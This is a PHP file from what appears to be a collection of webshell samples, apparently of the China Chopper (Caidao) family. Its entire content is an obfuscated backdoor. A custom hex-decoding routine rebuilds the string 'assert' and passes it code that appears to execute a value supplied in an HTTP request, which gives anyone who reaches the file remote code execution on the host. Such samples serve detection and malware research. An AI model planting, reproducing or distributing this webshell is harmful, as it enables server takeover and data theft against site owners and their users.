webshell/caidao-shell/z-2016-01-05.php

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<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
$k=(($i+2)/2)%strlen($key);
$p=substr($key, $k,1);
if(is_numeric(substr($str, $i,1)))
{
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
}
else
{
$t=$t.chr(hexdec(substr($str, $i,4)));
$i=$i+2;
}
}
return($t);
}
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>